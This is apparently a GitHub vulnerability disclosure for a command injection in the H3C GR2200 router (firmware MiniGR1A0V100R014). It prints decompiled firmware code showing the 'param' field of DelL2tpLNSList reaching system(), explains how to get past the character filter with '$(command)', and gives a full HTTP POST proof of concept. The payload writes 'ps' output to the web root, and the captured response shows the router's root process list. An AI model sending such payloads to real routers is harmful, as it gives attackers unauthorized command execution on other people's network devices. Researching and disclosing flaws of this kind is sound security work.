

main vuln / H3C / GR2200 / 1 /



Darry-lang1 Update readme.md ...

on Jul 25 History

..



img

4 months ago



readme.md

4 months ago

readme.md

H3C GR2200 MiniGR1A0V100R014 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.h3c.com/>
- Firmware download address :
https://www.h3c.com/cn/d_202202/1542099_30005_0.htm

Product Information

H3C GR2200 MiniGR1A0V100R014 router, the latest version of simulation overview:

H3C MiniGR1A0V100R014 版本软件及说明书

软件名称: H3C MiniGR1A0V100R014 版本软件及说明书

发布日期: 2022/2/9 11:28:05

下载:

- MiniGR1A0V100R014.zip(8.20 MB)
- H3C MiniGR1A0V100R014 版本说明书.pdf(740.94 KB)

软件说明:

联系我们

H3C MiniGR1A0V100R014 版本说明书

Vulnerability details

H3C GR2200 (MiniGR1A0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList. This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

```
23 memset(v12, 0, sizeof(v12));
24 memset(v13, 0, sizeof(v13));
25 v7 = (char *)sub_4DEC80(a1, "param", byte_4F5B10);
26 if (v7)
27 {
28     strcpy(v12, "/bin/l2tpconfig -R 127.0.0.1 session delete ");
29     v6 = getelement(v11, 8, v7, 59, 1);
30     v4 = atoi((const char *)v11);
31     for (i = 1; v4 >= 1; ++i)
32     {
33         if (!getelement(v10, 32, v7, ';', i + 1)
34             && !getelement(v8, 8, (char *)v10, ' ', 1)
35             && !getelement(v9, 8, (char *)v10, ' ', 2))
36         {
37             if (sub_46EE30((int)v8, 8u) || sub_46EE30((int)v9, 8u))
38                 return -2;
39             snprintf(v13, 0x100u, "%s tunnel_id=%s session_id=%s", v12, (const char *)v8, (const char *)v9);
40             v3 = getpid();
41             MW_SYSLOG_OP(
42                 184,
43                 6,
44                 3,
45                 2139095040,
46                 "[%d][%s] %s: mp run cmd %s\n",
47                 byte_4F5B10,
48                 v3,
49                 "ASP_L2TP_LNSListDel",
50                 "ASP_L2TP_LNSListDel",
51                 v13);
52             system(v13);
53             memset(v13, 0, sizeof(v13));
54         }
55     }
```

Format the param parameter we entered into v13 through the snprintf function, and execute our command through the system function. Because v8 and v9 are limited to 8 bytes, we can fill v8 with 8 bytes so that when %s in the snprintf function is formatted, v8 and v9 will be connected actively.

```

1 int __fastcall sub_46EE30(int a1, unsigned int a2)
2 {
3     size_t j; // [sp+18h] [+18h]
4     unsigned int i; // [sp+1Ch] [+1Ch]
5     int v5[2]; // [sp+20h] [+20h] BYREF
6
7     v5[0] = '|&'\0';
8     v5[1] = 0;
9     i = 0;
10    j = 0;
11    if ( !a1 || !a2 )
12        return -1;
13    for ( i = 0; i < a2 && *(_BYTE *)(a1 + i); ++i )
14    {
15        for ( j = 0; j < strlen((const char *)v5); ++j )
16        {
17            if ( *((char *)v5 + j) == *(char *)(a1 + i) )
18                return 1;
19        }
20    }
21    return 0;
22 }

```

Although the `sub_46EE30` function filters some dangerous characters, we can bypass them with `$(command)`.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following poc attacks

POST /goform/aspForm HTTP/1.1

Host: 192.168.124.1:80

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Referer: http://192.168.124.1:80/maintain_basic.asp

Cookie: JSESSIONID=04f803a0

Upgrade-Insecure-Requests: 1

Content-Length: 67

CMD=DelL2tpLNList&GO=vpn_l2tp_session.asp¶m=1;\$(ps>/ww w/1) #;



```

te tunnel_id=$(ps>/ww/1) I# session_id=w/1) I# [ASP_L2TP_LNListDel] ASP_L2TP_LNListDel: mp run cmd /bin/l2tpconfig -R 127.0.0.1 session dele

```

The picture above shows the debug log after POC is sent.

请求

Raw参数头Hex

GET / HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=04603a0
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun Jul 24 10:50:13 2022
Pragma: no-cache
Cache-Control: no-cache

响应

Raw头HexRender

HTTP/1.0 200 OK
Date: Sun Jul 24 10:53:57 2022
Server: H3C-Minilware-Web
Last-Modified: Sun Jul 24 10:53:54 2022
Content-Length: 2648
Content-Type: text/html; charset=GB2312

PID	Uid	VmSize	Stat	Command
1	root	692	S	init
2	root		SW	[kthreadd]
3	root		SW<	[ksoftirqd/0]
4	root		SW	[kworker/0:0]
5	root		SW<	[kworker/0:0H]
6	root		SW	[kworker/u4:0]
7	root		SW	[migration/0]
8	root		SW	[rcu_bh]
9	root		SW	[rcu_sched]
10	root		SW	[migration/1]
11	root		SW<	[ksoftirqd/1]
12	root		SW	[kworker/1:0]
13	root		SW<	[kworker/1:0H]
14	root		SW<	[khelper]
15	root		SW	[kworker/u4:1]
122	root		SW<	[writeback]
126	root		SW<	[bioset]
...	...			

The above illustration shows the effect of command execution.